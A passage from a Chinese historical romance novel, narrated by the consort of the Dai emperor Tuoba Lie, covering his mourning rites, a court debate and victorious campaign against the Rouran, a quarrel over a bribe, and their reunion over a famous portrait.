只听得里间好像是礼部尚书卢子谨的声音:“皇上,天子服丧,以日代月,如今二十七日已满,素服可除。三年之丧,虽自上古,但中代已后就不再实行了。葬而即吉,陛下实不必服丧三年!”算来拓拔烈服丧已有月余,的确有不少人揣测他欲遵循上古之礼,三年终丧。若真是这样,对于一个日理万机的皇帝来说,委实有些过了。卢子谨继续劝言道:“先王制定礼教,必随世事变化,前贤创立法度,也以务时为宜。陛下以万乘之尊,履布衣之礼,殷忧内盈,毁悴外表,臣等悚息不宁,请皇上终丧!”
卢尚书所言,也正是我想对他说的,我示意木犀走得远些,便站在廊下听着。
拓拔烈道:“卿等不必再谏了,理贵随时,这些朕都明白。先皇之丧已终,朕这是在为世子反服。适子为先祖正体之延续,宗庙社稷之重托,他未出人世便夭折,是朕失察之过,朕愧对祖宗,难辞其咎。父子之亲,天属之重,朕为皇考服孝二十七日,也要为适子反服二十七日。”
我与永平对视了一眼。拓拔烈这话,从未对我说过,甚至都不在我面前提起那个孩子。我一直以为,丧子之痛,莫过于母,却原来他也是一样的,甚至,还为我揽下了所有的过错。自皇后被废,又有不少汉官为我上疏,只是我依旧未获任何册封。可他今日所言,却向众人昭示了这个孩子无可取代的嫡长子身份。
拓拔烈继续道:“朕欲为适子积福,大赦天下,子谨,此事就着卿去办吧。”
我攒起眉头,原想大赦一事卢尚书应该会站出来反对,没想他即刻领了旨,退出书房。卢子谨挑开布帘,见我侯在门外,向我抱拳一揖,我福身回了一礼。
“夫人,怎么站在门外,进来吧。”拓拔烈在屋子里看见我,沉声唤道。
我应了一声,永平替我撑开帘子,我迈步进去,叩首拜见。书房里大小官员站了不少。看来他还真是一日不能辍朝,就连休沐日也要把金銮殿搬到御书房来。
汉王拓拔冶位列在首,我起身后朝他点了点头,他微微颔首回礼,随即就调开了视线。
在东宫修养期间,汉王府里不断派人送来珍贵的药材,都是用来补养小产气虚的。记得当日回平城后,拓拔冶即刻入宫,肉袒伏斧质于阙下请罪。皇帝非但没有降罪,还另外加封了他一千食邑。
关于在云中城外的那夜,我只字未和拓拔烈提起。父死娶其母,兄死妻其嫂,塞外民族以此为俗,也不是什么骇人听闻的事情。只是拓拔烈倾心汉法,皇室之间才有所禁制。况且事情都过去了,又何必再多嘴,反让旁人以为我要离间他们兄弟。只是后来我才隐约意识到,有些事情,正是因为我口风太紧,反而会让他见疑。
拓拔烈示意我到里间去侯着,他继续问道:“皇兄,云中的情况如何了?”
拓拔冶道:“回皇上,天气逐渐转暖,敕连可汗已将云中的骑兵全数招回。盛乐宫被劫掠一空,拓拔宇自知没有军队的扶持就呆不下去,已经携家眷随军北上,投靠柔然了。云中失地,皇上只需派些人马便可追回。”
“哼,放着好好的亲王不做,这是给人家做招女婿去了吗?”拓拔烈蔑笑,大声道,“驽马恋栈豆,尔等都看见了,为眼前的一点蝇头小利就投敌叛国,到底值不值得?!”他的口气很严厉,也不知道是不是意有所指,他继续言道:“再过些日子,朕打算亲征柔然,众位爱卿,有何良策?”
我脚步一滞,这么快就要发兵,也不知道他身上的伤要不要紧了。
“陛下,臣以为不妥!”我回头看去,出列谏言的是位颇有些名望的鲜卑贵族,叱李延延。“柔然人已经北上放牧,陛下此时亲征,必深入其腹地,如此长途跋涉的作战,恐怕胜面不大。”
拓拔烈回他:“夏季柔然人分散放牧;秋天牲畜肥壮,方才集中到一起;到了冬天,又南下劫掠。朕此时出击,才能出其不意啊?……只怕将士们不肯深入,不能全胜。”
叱李延延道:“陛下的将士没有怕死的,云中一战,已可见分晓……臣担心的是粮草!从云中往柔然可汗的西北老营盖臧,一路上皆是碎沙乱石,没有水草,如此长途征战,只怕粮草上难以供给。”
“柔然的畜牧业,天下最为富饶,没有水草,那些牲畜是如何繁殖的?”崔季渊上前置疑道。
叱李延延拔高了音量:“盖臧城南有天梯山,冬天有深达数丈的积雪,春夏两季,雪水融化,从山上流淌下来,形成小河,当地居民就是引雪水生产生活的。如果柔然人听说我们大军开到,一定会断绝渠口,届时,我们的军队无水可用,盖臧方圆百里之内,土地寸草不生,我军的人马又如何久留?!”
“呵呵,敕连可汗会蠢到在没有水草的土地上兴筑城郭?高山冰雪融化,至多湿润地皮,收敛尘土,怎么可能汇至成渠?叱李大人的话实在是荒谬啊!”崔季渊继续辩驳道。
“好了!”拓拔烈开口制止,似有不耐,“季渊,盖臧城的水草,你有没有亲见?”
“臣自小生在洛阳,未曾亲见。”崔季渊如实答道。
叱李延延的胸脯拍得“啪啪”作响:“之前和亲的几个公主,还有当时魏王迎娶敕连可汗之姊为妃,一路上都是我护送的,盖臧城有没有水草,我是亲见的,你没有见过,有什么资格和我争论?!”
“这就是了,季渊,耳听为虚,眼见为实啊!此事明日再议,都回去休息吧,今日不议国事了。”拓拔烈散了早会,众臣山呼“万岁”,礼毕而退。
“叱李大人!”拓拔烈突然在离去的朝臣中叫住他,“爱卿熟悉盖臧城的地形地貌,往后朕要讨伐柔然,还要仰赖卿家指点。”
“为陛下效命,臣自当知无不言,言无不尽!”叱李大声道。
隔了一会儿,我听见外间没了声响,拓拔烈走进后堂,脚还没迈过门槛,就责备起来:“才许
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你出来走动的,怎么就站在门外吹风?走廊上风大,你不知道吗?你要找朕,让永平进来通报就是……说吧,什么事?”
我见他还端着皇帝架子,只得屈身一福,笑道:“是,臣妾知错了!”
他这才缓和过来,回以一笑:“哼,认起错来倒是驾轻就熟,可你哪回认完错是往心里去的?你要是哪天能把我说的话当回事,我倒要去太庙里祭祖宗了!……说吧,找我有什么事?”
我本是寻梅而来,也没什么要紧事,只是方才听了那些话,又担忧起来:“你这么快就要出兵了吗?”
“是啊,我又不是君子,等不得十年。”他让永平取了件轻裘给我,牵着我的手道,“陪我园子里走走吧。”
鸿雁池畔,芭蕉未展,余寒未尽。我与之携手的人,一袭白袍练冠,峻雅风度不减,可是似乎又清羸了不少。“阿烈,可你真的需要亲征吗?你的伤还没有好透……”
“这次出征,非但为国仇,还有家恨,我当然不会假他人之手。”他坚定道。
我蹭着他的掌心,暖暖的,叫人舍不得放开:“我……嗯……”若说家恨,自然也有我一份,我犹疑着如何开口才能不被他抛下。
“你别想了!”他立刻打断道,“这次我不会带你去的,你给我乖乖留在这里,别再给我出什么幺蛾子了!”
我抿起唇,他不肯带我,便是真有一场硬仗,我虽知其能力不凡,但总是不甚放心。“阿烈,这场仗你有多少把握?依照叱李大人所言,似乎……”
他挑眉:“哦,似乎怎样?”
我暗度,摇了摇头:“我不知道……记得你教我的第一件事就是:眼见未必为实。崔先生虽不曾亲见,可我觉得他说得也不无道理……”
拓拔烈赞许点头,悠然道:“我十二岁的时候就离开云中独自在外游历了,彩云之南,大漠之北,幅员千里,都是我一步步丈量出来的。盖臧城有没有水草,我还会不知道吗?”
永平和木犀远远跟在我们身后。早春梅柳参差开,难得这样的光景,能执子之手,信步闲庭。只是两个人的心里都存着事,并无多少游春的雅意。
“阿烈,我还有一桩事……”我道。
“嗯?”他轻应。
“是我们的孩子……孩子是我们两个人的,丧子之痛,不独独是我的,你也分了一半去。要说有什么错,也不独独是你的,我也有一半。”他停下步子看我,嘴角扬起弧度,面色怡怿。我正色道:“可我却不愿你为他大赦天下!生死有命,非你我可以左右。若是行善可以积福,让他将来有个好的托生,那我们的孩子本来就是无辜的,从来也没有做过什么恶事。若是行善无用,你也无需为他积福。赦免天下的罪犯是国家大事,你依法治国,不能因为一个未出世的孩子而有所搅扰,更不能因此而乱了天下的法度!”
拓拔烈笑意更深,见者如沐春风:“狸奴,治国无法则乱,守法而弗度则悖。刘鹏在长安广兴宫室,强掳美女,搜刮民脂民膏;赫连翀在统万高筑城墙,四方征兵,凋尽民力;燕国秋收前遭逢天灾,慕容斐怕万一打起仗来军粮不够,一直不肯开仓赈灾。你知道一夜之间,有多少流民逃到我这里来?这一年里,多得是流民犯下的偷抢之罪,他们偷抢也是为了活命,并非十恶不赦,这些人若是能给以正常的生活,自然都会变成顺民。我若刑法过重,就是把他们往死路上赶,若是把流民逼成流寇,外患未除,又添内乱,岂不是更糟?建国之初,更需爱惜民力,我只想在大兴兵伐之前,求几年太平。”
我闻言颔首,这理虽是不错,但这话说出来,又不免让人有些黯然。拓拔烈一笑,将我的头压进怀里,柔声哄道:“傻瓜,话虽如此说,我们的孩子,我又怎么会不疼爱呢?”
47. 第十四章 相期团圆节
午睡醒来,还是有些困顿,偏头看见身侧一袭玄衣,半靠在床柱上,睡颜愔翳。我揉了揉眼睛,想起今日孝期已过,他除了孝服,也该搬回东宫了。仲春的午后,欲雨尤寒。本不想惊动他的,悄悄起身替他盖了件薄毯,倒又把他吵醒了。
永平闻声,捧了托盘进来:“皇上,该换药了。”
“麻烦!”拓拔烈拢眉念了一句。
我道:“这么久了,怎么还没有好吗?”
他无所谓道:“只是生肌的药。伤口结了痂,自然就会愈合,这药涂不涂的,也没什么差。”他摆手,示意不用上药了。永平歪着嘴看了我一眼,放下药盘,退了出去。
“谁说没差的,我看看。”我嗔道。
一只手去扯他的腰带,他明知道我不便,却不肯帮忙,还出言调侃道:“哪有你这样不害臊的小姑娘,我才回来,还没说上两句话,你就要脱我的衣服。”
“我……”我瞪眼看他,转念一想,笑着进言,“先王有一至德要道,以顺天下,民用和睦,上下无怨。陛下知之乎?”
“嗯?”他一愣,复也跟着笑起来:“朕不敏,请夫人指教。”
我正色道:“陛下行丁忧之孝举,除了报先皇养育之恩,诏教之德,也是为了给天下人做一个楷模。夫孝者,德之本也,这也是陛下的营国之先。臣妾所言,陛下以为然否?”他大概已经知道我想要说什么了,不以为然地“哼”了一声。我不理他,继续道:“《孝经》首篇,开宗明义:身体发肤,受之父母,不敢损伤,此乃孝之始也!陛下……”我斜眼睐他。
他无奈宽衣解带,哼笑道:“倒是学会讽谏了!我若不纳,又要被你骂作昏君。”
伤口暗红,如蝤蛇蟠行于前胸,我沾了生肌散,敷在他蜿蜒的创面上。龙体尊贵,太医们必竭尽所能,可他要是不愿意,谁还能强他所难?这伤口消炎过后就听之任之,根本没有好好处理,痂皮脱落的地方,露出粉红色的新肉,坑坑洼洼的,必会留下疤印,如今他就是再纳什么都已经来不及了。
他温热的手指划过我的脸颊,诱声道:“你苦着个脸作什么?男人嘛,留点疤又不是什么大不了的事。草原上的男儿,放牧行猎打仗,谁没受过一点伤。创面大了,拿火一烤,止了血就没事了。为了这点伤,我成天被一群奴才盯着,苍蝇似的,烦也不烦?”
“苍蝇盯得都是烂肉,你若好了,谁还盯着你?”我狠狠戳了他一下,恼道:“瞎逞什么英雄?你这么不爱惜自己,我怎么放心你去打仗?”
他佯装吃痛,抓住我的手指轻咬了一口,我唬着脸挣脱出来,继续替他上药。“宇文将军请战多次了……”我想了想,还是决定问清楚,“他能征善战,你不用他,可是因为他年纪大了?”战争对于拓拔烈来说,虽然不是陌生的事情,但在这之前多是纸上谈兵。云中突围,是他第一次出战,猝不及防下,可以说是临危不乱,但也不能否认有侥幸的成分。宇文将军虽然已过花甲,但身经百战,总能补他经验不足。
“廉颇虽老,尚能饭。我不用他,是因为他有更大的用处。鲜卑和柔然同在一片草原,都以狼为图腾,骨子里都有血性的一面。蠕蠕人在代国的土地上叫嚣多年,并不见得真有多厉害,只是在这之前,边患一直无人过问……”他收敛笑容,徐徐道来,似乎在想什么重要的事情。
“崔先生呢?他是你帐下的第一谋士,你向来对他赞赏有嘉,这次也不带着他为你出谋划策?”
他抬眼看我,抿着嘴道:“季渊留在京城,执我枢衡,总厘朝务,才能免去我的后顾之忧……”想来当时我太迟钝,并未发现他的话语里已有隐怒。
我点头,顿了片刻,不知死活地补了一句:“嗯……那叱李大人呢……”
拓拔烈哼笑一声,俄顷就变了脸色,他将凤眼眯得狭长,冷声道:“果然是拿了人家的手短,怎么,学会吹枕边风了?狸奴,朕宠爱你,但总要有个限度,你要真是聪明人,就应该知道,朕的底线不要尝试着去挑战!”
我愣了一下,知道有些事情瞒不过他,可我行事磊落,也没有什么好隐瞒的。我立刻起身回道:“叱李是来找过我,送了不少东西,我也全都收下了,反正都是不义之财,我有什么好客气的!东西我全写成清单,交由户部,充了国库了。皇上尽管派人来查,我王敏要是私吞一件,随您要杀要剐!叱李延延贿赂我,就是想让我劝说陛下收回他的副将之职。他怕死,不肯去。这样的人,皇上非要把他带在身边,打起仗来就只会拖皇上的后腿!我要为了那点金银财宝就谋害您,我能有什么好处?!”我“扑通”一声跪倒在他面前,却倔犟地不肯低头,心里满是委屈,也还是强忍着眼泪,不能让它掉下来。
“只是金银吗?你王敏出生何等人家,那点金银哪入得了你的眼?他没许给你别的好处?”拓拔烈哽咽了一下,声音寒彻骨髓。
“是,还有皇后位!我知道,朝堂上的汉官们联名为我上疏,鲜卑贵族们却万般阻挠,只怕一个汉女登上后位,贵族间的利益就不保了。叱李延延许诺我,若我能帮他劝说皇上,罢免他的副将之职,那么以他在贵族间的威望,那些阻力也将不再成为阻力……”
“所以……”拓拔烈咬牙看着我。
我直视他,眼泪已经不受控制地滑落下来,我冷笑道:“所以皇上以为我贪图皇后虚名?我若贪图这些,我王敏早就是皇后了!说不定在你之前,就是南朝皇后,大夏皇后了!”我激动得口不择言,拓拔烈的唇抿成了一条线,脸色也益发得难看。我别开头,颤声道:“屋檐底下两个口,这样的宫,从古至今,我闻所未闻,更不敢指望……五月滑胎,能活下来都是我命大,我也知道我以后不会再有孩子了,这皇后位对于我来说还有什么意义?我就是争到手了,又能坐得风光长久?”
“这是谁告诉你的?!”拓拔烈怒喝,猛然扬手,一掌击在床柱上,床柱应声而裂。
我一个寒战,复又低头,平静道:“没有不透风的墙,许你知道,就不许我知道?”
屋子里安静得吓人,我以为我们就要这样僵持到天黑。许久,他低声唤道:“狸奴”,虽然软下口气,可声音里还是有几分尴尬。他伸手来抚我的胳膊,想要把我从地上拉起来,我固执地不肯动。他长叹:“狸奴,朝堂上的胡汉官员利益相左,明里暗里拉帮结派、党同伐异。东汉的党锢之祸,教训还近在眼前,四百年江山毁于一旦,世人莫不叹息痛恨于桓、灵。东汉之后,天下分分合合,至今没有一次像样的统一……作为皇帝,我痛恨党争,我是怕他们争,可又怕他们不争……面对朋党,我必须保持一个不偏不倚的中立态度。你的皇后位已经成了胡汉相争的众矢之的,狸奴,你专宠后宫已是众人皆知的事实,你手铸金人失败也是不可否认的,以如今的情势,我是不能给你再多了……”
他又来拉我,他说的话我当然明白,可我余气难消,低着头不说话。他又一叹,干脆把我从地上抱起来,揽在怀里:“孩子的事……太医和我说了,不是不能生,只是需要再调养两三年,对你的身体才好。他们是以为我等不得这两三年就要纳妃,话传到你的耳朵里,才成了这个样子。”
其实我早就心软了,只是不知道要说什么,晃着两条腿,绞着玉佩上的穗子。他揉着我的膝盖叹道:“罢罢,我这皇帝当得也真失败,就要出征了,内忧外患不算,后院里又着了火。此去吉凶难料,合着命是我一个人的,我也不必操心你的将来,反正以你王敏的才貌,想做哪朝皇后没有?”
“呸”我啐道,忿忿看了他一眼,拽过他的手,把掌心里的木屑子挑出来,“良心被狗吃了,我不过是担心你的安危,我又图什么?”
他和颜悦色地笑起来,在我耳边,呵气如兰,吹皱了
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我心上一池春水。“心都被你这猫儿叼走了!……我带走叱李,就是要把那些不省心的人都放在身边,他们想要耍什么花样,也得在我眼皮底下。可偏偏最让我放不下心的就是你,好像只要我片刻不盯着你,你就会弄点事情出来。”
“那你也带着我好了。”我嘟着嘴道。
“你可以试试。”他笑,“看看你的枕头风硬不硬,吹不吹得动我。”
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月朗,星稀,风恬。晚膳过后,拓拔烈和我在鸿雁池畔散步消食,我也无心这一池春水涵星,只是低着头闷闷地跟着他。今日的东宫想是回不去了,墨童正带着一群工匠在研究那个突然倒塌下来的床柱。我再次暗叹,想起午后之事,就觉得颜面失尽……
拓拔烈斜倚曲阑,挥手撒了把鱼食,倒像什么事情也没发生过。“团扇,团扇,美人持许遮面。千呼万唤羞见,无人商量管弦。”中官们闯进门来救驾的时候,可是他挡在我外头叫人悉数看了去,现在还有心来调笑我。
永平红着脸睨了这个不正经的皇帝一眼,连他都不自在了,捧着鱼食盘不动声色地退到十几步外。
明明身上一袭薄衣难耐春寒,可我手上还是不肯放下那柄不合时宜的团扇。今天的枕头风大得把床柱都给刮倒了,偏他就是不肯松口,我闷着气接了他一句:“弦管,弦管,春草昭阳路断。千里相思难寻,别有忧愁恨深。”
拓拔烈回头去取鱼食,才发现永平已经变成了不远处一根不听不看不动的小木桩。他忍着笑,推开我面前的团扇,哄道:“深恨,深恨,边草古戍战阵。漠南漠北雪晴,千里万里月明。”言下之意,战场凶险,还是不能带着我去。
反正今日脸也丢尽了,我厚着脸皮又接了他一句:“明月,明月,胡笳一声愁绝。更深影入空床,不道帏屏夜长。”言罢,踮起脚尖,狠狠在他耳根子上吹了几口气。
他笑得顽皮,露出齿如编贝:“长夜,长夜,梦到庭花月下。怎忍美人愁绝,相期团圆佳节……好了,狸奴,我是不会带你去的。圣贤之君皆有名臣在侧,西楚霸王乃有嬖女,我打仗带着你算怎么回事?看来你近日真是太闲了,好像多了很多肉哎,还是交给你些事情做吧。”
倒是好意思自称圣贤之君,大白天行房,搞得床梁坍塌,天怒人怨,分明就是昏君作为。我扁着嘴问:“什么事啊?”
他敛了笑,正色道:“我刚得到消息,南朝皇帝得长男,为昭仪所生。南朝后宫里向来以这个瑟昭仪为大,谢氏不得宠,不过顶了个皇后的虚名,和入了冷宫也无甚差别。南北大战之后,司马映更是毫无顾忌地重用寒人,压制士族,桓恒势力渐大,我看谢家也差不多了……这个孩子,多半会是未来的储君。”
很久没有听到家乡的消息了,可这消息听来,真是喜也不是,忧也不是。“要我干什么呢?”我问。
“再过一阵,孩子满月,很可能会被立为太子。代国之前一直是北朝属国,如今北朝已亡,我欲与南朝结盟……”
“你是想……”远交近攻?
拓拔烈点头,道:“燕国本是南朝属国,如今换了皇帝,正不停地扩张土地,已为南朝所忌惮。太子满月是个机会,我会派人前去道贺,你和这瑟昭仪有段主仆缘份,其实也无需你出面,只要书信往来,续续姐妹情份,帮我促成此事就行了。若有什么问题,就去问问子谨,这事我着他在办。我不在的时候,你也帮着打点些政务,若有不明白的,可以向季渊请教。”
“中秋就能回来吗?”我问。
“嘘!”他以手抵唇,俯身吻了我一下,“这是军中机密!你的枕头风厉害,我才说漏了嘴,放在心里吧,可别再泄露出去了。”
48. 第十五章 长驱破索虏
三更四点,夜色肃清,星月溶溶,浸冷征衣。“好了,狸奴,就到这里吧。”禁门口,拓拔烈拉住我胳臂,不许我再前行。
从东宫步行而来,一路穿花拂柳,我择去他金色铠甲上的落花,从香祖手中接过瑶卮:“阿烈,祝你旗开得胜!……你要小心,早点回来……”言罢,鼻子已经酸涩了。
他接过杯中物,在手里轻轻晃了晃,绿酒映月,流光徘徊。“狸奴,甲胄在身,我是不饮酒的。这杯,你就代我喝吧。”
我颔首,想去接他手中的玉杯,他却仰脖,一饮而尽。我愣在那里,被他猛一把拽进怀中,温热辛辣的液体滑过我的喉舌,愁肠殢酒,却不能在他面前化成相思泪。
这一吻,缱绻绸缪,难舍难离。忽闻平旦更鼓,禁门“吱呀”落下。汉王拓拔冶青騘银甲,与副将叱李延延已经侯在宫门外多时。拓拔烈推开我,正了正我髻子上的平安竹,认真道:“一会儿不许哭鼻子,等着我回来。”
我扁着嘴点头,目送他翻身跃上螭龙,扬尘而去,一小队人马往校场的方向渐行渐远,虽悔已难追。我想他应该不会再回头了,眼泪方才顺着双颊滚落下来。
**********************************************************************
接下来的三个月里,兵部频获捷报,隔日就由夏卿亲自呈送到东宫来,这是拓拔烈出征前的旨意。只恨寥寥数语不能缕述曲折,更无法慰藉相思。片纸只字,我拿在手里一看就是半晌,常惹得香祖调侃,只要兵部尚书一出现在东宫门外,她便要说:“夫人,皇上又托寄锦书来了。”
五月,拓拔烈行军至漠南,舍弃辎重,率军轻骑奔袭,直逼栗水。柔然人无所防备,临战震怖,民畜惊骇奔散。郁文闾大檀焚烧穹庐,绝迹西逃。敕连可汗闻代军至,派兵马援其兄,途中被拓拔冶率领的部队截击,大败而归。
六月,拓拔烈沿栗水西进至菟园水,代军兵分几路搜讨,东至瀚海,西接张掖水,北渡燕然山,俘获斩杀敌军甚众。柔然的高车诸部也乘机倒戈,归附代国,前后降了三十余万人,缴获戎马百余万匹。
七月,拓拔烈继续沿弱水西行,至涿邪山,后又至黑山、已尼陂,再获降军十万。至此,柔然国为劫掠云中所付出的代价已经十倍不止,敕连可汗无奈之下献出三名公主,并绑来拓拔宇及其一脉子孙,想以和亲停战,但依旧没能阻止拓拔烈进攻的步伐。
八月,大军终于开至可汗庭,敕连愤悒而死,留下年幼的太子不战而逃,怖成北窜,不敢复南。
初秋的盖臧城,水草丰沛,牛羊满野。叱李延延的谎言不攻自破,他长期收受柔然贿赂,出卖代国情报的证据确凿,被拓拔烈下令当众车裂,以儆效尤。
魏王拓拔宇面缚求情,涕泗交颐,他自知死罪难逃,但还是希望皇帝念在手足之情,网开一面,放过他的一脉儿孙。拓拔烈笑而不纳,当着他的面处死了所有俘虏的柔然贵族,其中也包括他的两位妻子。之后,又当众问了句:“有谁替魏王求情?”群臣无一出列,任谁都明白,皇帝这次要的,就是永诀后患。
至于柔然、高车的降附之民,拓拔烈将他们分散开来,东至濡源,西达阴山,使其耕牧,每年收缴贡赋。又从朝堂派出胡汉官员,共同镇抚。
秋风发微凉,边疆已息警,王师还在回程的途中,恐怕无法兑现他共度佳节的诺言。八月十五,我将手抄的经书供奉到寺庙里,为皇帝祈福。夹道挤满了欢呼的百姓,平城的大街小巷里处处可闻胜利的歌谣:长驱破索虏,盖臧绝贵种。漠南无王庭,漠北走穷狗。
中秋之夜,我独自登阙楼北望,与遥在千里之外的他,共一轮明月。登高远眺,一整个平城尽收眼底。今日没有宵禁,过了人定,大街上依旧人头攒动,声光相乱。月如镜新磨,繁华之前,我愈感索寞。半壶桃花酒下肚,已然微醺,不记得是什么时候爱上这酒的,或许就在那个芳菲落尽的人间四月天,因那一觞满含离愁别绪的桃花白芷酒吧。夜相思,风吹帘动,疑是所欢来,恍惚间听得香祖唤我:“夫人,鸿雁大人又托锦书来了!”
我接过书着“战报”二字的公文,猛得一个激灵,酒便醒了大半。回程路上,哪还来得战报?莫非……焦急想要拆开,却发现上头紫泥未除,面上还书着一行小字,是他的亲笔:密函,着兵部呈王敏亲启。
我拨去封蜡,忐忑展开,却见一首杂诗,还有意学了我的行书笔法:
兵尘万里,家书三月,无言搔首。
误了中秋,不负重九。
愿年年此夕,团栾儿女,共杯中酒。
署名是个“烈”字,还盖了私印。我轻笑出声,他还真是以国为家,倒是好意思拿这三个月的战报当家书来说。
“夫人,皇上说什么了?鸿雁大人在楼下等着回话呢?”香祖探头探脑来问。
我合上“战报”,敛容道:“传话下去,皇上初九班师。”香祖应了一声,来接我手里的公文,我一晃,道:“告诉杜尚书,这个留在我这里,不必存档了。”
我在月下反复研读那几行小字,夜凉如水,木犀来催了几回,可我已不胜沉醉,不愿再动弹了。一觉醒来,身上盖了厚毯,抬头已是月色苍凉,东方既白……
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掐着指头到了初八,奏折处理完毕,交由中官送去上书房。大赦天下,建交南朝,有崔、卢二人相助,拓拔烈走后,朝堂上的大事小情都还顺遂。草草用了午膳,外头秋暑如三伏,我在屋子里练字,心静自然凉,不啻是个解暑的好法子。
忽闻足音跫然,我初以为是哪个冒失丫头闯了进来,但其声稳重,再辨又不像。搁笔转身,恍然如一梦。来人身着惯穿的龙纹黑袍,身姿俊伟,气宇不凡,却已不复彼时的清雅容貌。草原的阳光灼热,玉濯肌肤晒成了麦色,愈显出轮廓的刚毅。
“阿烈……”我欣然起身,才要过去,想起自己从早上起床就一直没有梳洗,一袭缟袂,蓬首乱发,还光着脚。“不是……不是明天才回来吗?”我行行又止,背着手问他。
“不要我回来?”他笑,久别重逢,似乎都不知道要怎样开口,“嗯……我一早就回来了,去了上书房……原想公文已经堆积如山,夫人贤惠,我才得了半天空……在抄经吗?”
“嗯。”我含糊应声,若是抄经,我必净手洁案,一遍一愿,哪会弄成现在这个样子。“嗯……上书房的事,崔先生和卢尚书该记首功,我不过帮忙处理了些琐事……”我上前去收纸,却被他抢了个先。
“勿言一樽酒,明日难重持。梦中不识路,何以慰相思。……怃然坐相思,秋风下庭绿。……不见杨柳春,徒见桂枝白。零泪无人道,相思空何益。……妾怨回文之锦,君思出塞之歌。相思相望,路远如何!……一日不见,如三月兮!一日不见,如三秋兮!一日不见,如三岁兮!”字字句句都是相思,我已听得面红耳赤,他嘴角含笑,朗声念来,却丝毫也不造作。
我踮着脚夺了几次,惹得他大笑,揶揄道:“狸奴,你这是抄得哪本经啊?”
“《诗经
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》也是经啊!”我一把抢来,大唤“香祖”。香祖应声出现,低头憋着笑,将一沓纸抱了出去。
屋子里安静了片刻,我佯装找鞋,却被他拦腰抱到半空。他不在这几个月里,我极少出门,公文都由中官往来传递。女为悦己者容,一个人宿在东宫,也懒得梳头,现下面无粉,发无油,一身宽袖白绡,钗环不带,谁知道他今天会回来,被他逮到这副丑样子。我扭头避开他热切的目光,越发得窘了。
“带你去看样好东西。”他横抱起我,出屋穿过回廊,一路有人撞见皇帝前来,慌忙垂首避让。我捶了他一下,暗恼他今日里是发得什么少年狂。过了浮桥,鸿雁池中有一水榭,名曰“蓬莱”,是他平日里静憩的地方。看书思考,他不想别人打扰的时候就到这里来,大概除了永平和墨童两个近身伺候的人,就没有别人来过了。
他用脚尖踢开雕花木门,将我放在正中的书案上:“看!”他指着墙上一幅人物丹青,“狸奴,这画如何?我用了三十万匹上等的战马与南朝皇帝换得此图,前些日子才送到的。”
我放眼去看,画中女子一袭白绢素衣,黑发如瀑,长眉如岫,檀口如樱,跣足如霜,正是我现下的样子,原来是这么好看。女子一手持蜡,一手护焰,身后是百花争春,身侧有一行题字:天地者,万物之逆旅;光阴者,百代之过客。浮生若梦,为欢几何?留春留不住,为乐当及时,何不秉烛夜游!
此图提名“游春”,下方落款顾怡。“顾先生的《游春图》?”我惊诧道。
“是啊。”他望图兴叹,“南朝顾怡果然是丹青妙手,那年你才多大,璞玉一般,他便能绘出你今时今日的模样。非但如此,他还没有选用一般送进宫去的仕女图华丽端严的造型,而是别开蹊径,轻纱白袍,散发赤足,不假施朱描翠,天然去雕饰,这画中的女子,才是真正的绝色啊!……哼,真不知他当年画此图时,放了多少感情进去。”
我的脸大约是红了,嗔道:“三十万匹战马,你就换来此图?”
他转头看我,高挑眉梢,邪气笑道:“是啊,古人舍千金买马骨,不愁千里马不上门。我以三十万匹良驹换一美人图,狸奴,你道,日后有多少美人要对我投怀送抱啊?”
我轻掀嘴角,笑道:“皇上圣明,当然不会做这蚀本的买卖。今儿上书房的折子皇上都过目了吧,想送女儿姊妹入宫的可是不少呢,回头让她们画了画像一并送来,看看有没有皇上中意的。”
他复又笑,捏着我的鼻子逗弄道:“这话好酸,可不是又妒了?……狸奴,那些折子我都回了,以后若是再有,你也不必等我来看,自可替我回了。观于海者难为水,任凭这世上弱水三千,除了你这沧海之水,我也不取别的了。自家女人的画像,我怎能容得挂在别人的屋子里,别说是三十万匹战马,便是抢也要抢回来啊!”
我低头暗笑,这话虽然受用,可心里又何尝不知道他白送这三十万匹战马给南朝的用意何在。崔先生说,北方近年战乱,燕国趁势壮大不少,又多次侵扰南朝边境,已为司马映所忌惮。柔然已灭,现在的六国之中,以南朝的土地最广,势力最盛。司马映一直想挥师北复,故都洛阳在慕容斐的辖下,他第一个就会拿燕国开刀。南朝朝廷之上,桓恒主战,而我舅舅谢荻主和。其一是怕燕代两国唇齿相依,唇亡齿寒,南朝伐燕,代国不会袖手旁观。其二,南朝多为步兵,虽说国力强于燕国,但真刀真枪的时候,步兵未必打得过骑兵。而天下最好的战马全都出自代国。
此番拓拔烈与南朝建交,又送了这么多战马,就是为了打消司马映伐燕的顾虑,让他们两国早日开战。鹬蚌相争,他才可以坐收渔利。